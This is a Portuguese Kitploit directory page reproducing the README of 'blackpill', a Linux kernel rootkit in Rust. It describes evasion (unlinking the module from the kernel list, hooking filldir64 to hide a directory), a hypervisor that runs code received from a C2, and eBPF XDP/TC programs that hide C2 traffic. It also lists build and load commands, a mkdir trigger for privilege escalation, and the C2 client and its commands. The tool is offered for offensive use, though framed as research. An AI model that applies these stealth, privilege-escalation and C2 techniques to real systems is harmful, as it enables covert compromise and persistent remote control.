Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
blackpill — Um rootkit de kernel Linux em Rust utilizando um hipervisor tipo 2 feito sob medida, programas eBPF XDP e TC | Kitploit
Ferramentas/GitHubGitHub/shard77/blackpill
Escalada de PrivilégiosMecanismos de PersistênciaEvasão de IDS/IPSMovimento LateralShellcodePós-ExploraçãoComando e ControleRed TeamingDesenvolvimento de PayloadsExploração de BináriosArchived
GitHub
34045há 5 mesesRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
shard77/blackpill

blackpill

Um rootkit de kernel Linux em Rust utilizando um hipervisor tipo 2 feito sob medida, programas eBPF XDP e TC

Ver Repositório

BlackPill

BlackPill é um rootkit Linux furtivo feito em Rust.

Issues em aberto Atividade de commits Licença

Recursos

O rootkit é composto por múltiplos módulos (falando de módulos Rust, não de módulos do kernel):

  • defense evasion: ocultar arquivos, processos, conexões de rede, etc.
  • hooking: interceptar syscalls e IDT
  • hypervisor: criar uma máquina virtual para executar código malicioso
  • persistence: tornar o rootkit persistente após a reinicialização e resiliente à supressão
  • utils: utilitários diversos

A arquitetura é a seguinte:

Esquema simplificado da arquitetura do rootkit

E aqui está como o código malicioso é executado da C2 para o guest da VM:

Diagrama de sequência da execução de código do rootkit

A C2 envia mnemônicos x86_64 montados e elaborados para o rootkit, que então os envia ao guest da VM para execução. O guest da VM é isolado do host e pode ser usado para executar código malicioso.

O kernel não vê os pacotes maliciosos de entrada, pois eles são filtrados pelo programa eBPF XDP e enviados ao módulo LKM, e os pacotes de saída são modificados pelo programa eBPF TC.

[!IMPORTANT]
Este projeto ainda está em desenvolvimento. Nem todos os recursos estão funcionando!
Sinta-se à vontade para abrir issues ou pull requests.

Hooking

Hooking é uma capacidade fundamental do rootkit, implementado usando kprobes no kernel Linux. Essa técnica intercepta e redireciona a execução de funções do sistema para monitorar ou modificar seu comportamento. No contexto deste rootkit, kprobes fornece um mecanismo poderoso para interagir com funções do kernel sem alterar o código-fonte diretamente.

Evasão de Defesa

Para garantir furtividade, o rootkit emprega dois mecanismos principais de anti-detecção:

  1. Removendo o Módulo da Lista de Módulos do Kernel
    Quando um módulo do kernel é carregado, ele é adicionado à lista de módulos do kernel, visível por ferramentas como lsmod ou /proc/modules. Para evitar a detecção:

    • O rootkit remove-se manualmente dessa lista.
    • Apesar de ser removido da lista, o módulo permanece operacional, permitindo a execução contínua de suas funcionalidades.
  2. Interceptando a Função filldir64 para Ocultar um Diretório Específico
    Para ocultar arquivos usados pelo rootkit, um hook é implementado na função filldir64. Essa função é invocada quando um processo lê o conteúdo de um diretório (por exemplo, via chamadas de sistema getdents ou readdir).

    • Processo de Hooking:
      • O rootkit intercepta a função filldir64 usando kprobes.
      • Durante a execução, o handler inspeciona as entradas de diretório retornadas ao usuário.
      • Se uma entrada corresponder ao diretório /BLACKPILL-BLACKPILL (usado para armazenar arquivos críticos do rootkit), ela é filtrada e não retornada ao usuário.
      • Todas as outras entradas de diretório são retornadas normalmente, garantindo transparência para ferramentas de espaço do usuário.

Hipervisor

Nosso hipervisor simples foi implementado seguindo isto:

  1. Configuração inicial do sistema

    • Habilitar extensões de virtualização de hardware (Intel VT-x ou AMD-V) no BIOS/UEFI (o rootkit não faz isso; deve estar habilitado antes).
    • Configurar os registradores de controle (CR0, CR4 e IA32_EFER) para alternar para o modo VMX (Virtual Machine Extensions (Intel)) ou SVM (Secure Virtual Machine (AMD)).
  2. Entrando no Modo VMX ou SVM

    • Inicializar as estruturas de dados específicas de virtualização (VMCS para Intel ou VMCB para AMD).
    • Programar os recursos do processador, como VM exits, para lidar com interações entre o guest e o host.
  3. Gerenciando Transições Entre Host e Guest

    • Configurar os pontos de entrada e saída para máquinas virtuais (VM entry/exit).
    • Implementar lógica para interceptar chamadas de sistema sensíveis feitas pelo guest e analisar seus efeitos.
  4. Criação do Sistema Convidado

    • Alocar memória para o guest e inicializar seus recursos (registradores, pilha, etc.).
  5. Comunicação

    • Usar canais de comunicação entre o rootkit e o hipervisor para transmitir comandos ou dados.

Persistência

A persistência é uma capacidade crítica de qualquer rootkit, permitindo-lhe manter o controle sobre o sistema alvo mesmo após uma reinicialização.
Na implementação atual, o mecanismo de persistência demonstra sua funcionalidade criando um arquivo de teste no sistema de arquivos usando o comando /bin/touch. Essa ação provisória mostra a capacidade do rootkit de executar operações privilegiadas e pode ser estendida para implementar estratégias de persistência mais avançadas.

Atualmente, isso é inútil, pois não é nossa prioridade criar um rootkit de nível APT, mas sim fazer mais pesquisa em torno de conceitos menos explorados.

Configuração do ambiente de desenvolvimento

Várias etapas precisam ser realizadas antes de compilar nosso rootkit. O ambiente de desenvolvimento é composto por:

  • uma imagem Alpine Linux fornecendo ferramentas essenciais
  • um kernel compilado personalizado com Rust ativado
  • uma máquina virtual QEMU acelerada por KVM

Comece clonando o repositório e seus submódulos rasos:

root@kitploit:~
git clone [email protected]:DualHorizon/blackpill.git --recursive --depth 1

Dependências importantes

Em uma distribuição baseada em Arch:

root@kitploit:~
sudo pacman -S qemu-base qemu-desktop docker grub

Linux Kernel

Em uma distribuição Linux baseada em Arch, instale Rust e outras dependências:

root@kitploit:~
sudo pacman -S rust rust-src rust-bindgen
sudo pacman -S clang lld llvm

Depois precisaremos das fontes do Rust e do bindgen:

root@kitploit:~
rustup component add rust-src clippy rustfmt
cargo install --locked bindgen-cli

Certifique-se de que você pode começar a compilar seu kernel com Rust executando na pasta linux/:

root@kitploit:~
$ cd blackpill
$ pushd linux
$ make LLVM=1 rustavailable
Rust is available!
$ popd

Execute a tarefa de configuração da primeira vez, que configura e compila o kernel:

root@kitploit:~
make first-time-setup

[!IMPORTANT]
Se forem solicitadas opções de personalização, pressione Enter sempre.

Rootkit

Você pode compilar o módulo Rust do kernel (out-of-tree) com:

root@kitploit:~
make

Inicie a VM com:

root@kitploit:~
make vm

Dentro da VM, você está automaticamente logado como root. Você pode habilitar o módulo:

root@kitploit:~
$ modprobe blackpill
# você pode verificar os logs do kernel com
$ dmesg

Uso

Escalação Local de Privilégios

Depois que a VM iniciar, você pode usar o comando acima para escalar seus privilégios:

root@kitploit:~
mkdir ImFeelingRootNow_<PID>

Substitua <PID> pelo id do processo cujo privilégio você deseja escalar.

C2

Descrição

Esta C2 simples envia opcodes x86-64 para a máquina infectada via UDP e recebe pacotes TCP. Suas funções são atualmente limitadas à interação de baixo nível com a máquina, mas podem permitir uma ampla gama de usos práticos com mais wrappers.

Uso

Configure o cliente python:

root@kitploit:~
cd blackpill-c2
poetry install
poetry shell
python client.py

Depois de executar o cliente com seus argumentos ([ip] [port]), você deve obter:

root@kitploit:~
$ python client.py 0.0.0.0 1339
Connected to rootkit!

Em seguida, você pode usar o comando help para exibir os comandos disponíveis:

root@kitploit:~
blackpill: help
Available Commands
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
┃ Command                             ┃ Description                                             ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┩
│ read_virt_memory <address>          │ Read 4 bytes (32 bits) memory at 'address'              │
│ write_virt_memory <address> <value> │ Write 4 bytes (32 bits) memory at 'address'             │
│ launch_userland_binary <path>       │ Launch a userland binary at 'path'                      │
│ change_msr <msr> <value>            │ Change the value of a Model Specific Register (MSR)     │
│ read_phys_memory <address> <value>  │ Read 4 bytes (32 bits) of physical memory at 'address'  │
│ write_phys_memory <address> <value> │ Write 4 bytes (32 bits) of physical memory at 'address' │
│ stop_execution                      │ Stop the execution of the guest VM                      │
│ change_vmcs_field <field> <value>   │ Change a VMCS field to 'value'                          │
│ help                                │ Show this help message                                  │
└─────────────────────────────────────┴─────────────────────────────────────────────────────────┘

Créditos

Configuração do ambiente:

  • Setting Up an Environment for Writing Linux Kernel Modules in Rust - The Linux Foundation
  • Kernel config qemu-busybox-min.config patch
  • Rust out-of-tree module
Baixar ferramenta
  • Usando Programas eBPF XDP e TC para Modificar o Tráfego de Rede de Entrada e Saída Para normalizar nossas comunicações de rede maliciosas, usamos programas eBPF XDP (eXpress Data Path) e TC (Traffic Control). Dessa forma, podemos:

    • Interceptar pacotes de entrada (ingress) específicos com o programa XDP no nível mais baixo de rede, correspondendo à assinatura de payload TCP elaborada da nossa C2, que então redirecionamos para um mapa BPF personalizado para processamento VM/LKM.
    • Interceptar pacotes de saída (egress) específicos com o programa TC, correspondendo aos pacotes TCP gerados pela VM/LKM, que então modificamos sobrescrevendo seu payload com os dados de resposta da nossa C2. Os pacotes originais são retransmitidos automaticamente pelo TCP, mantendo a aparência de tráfego legítimo.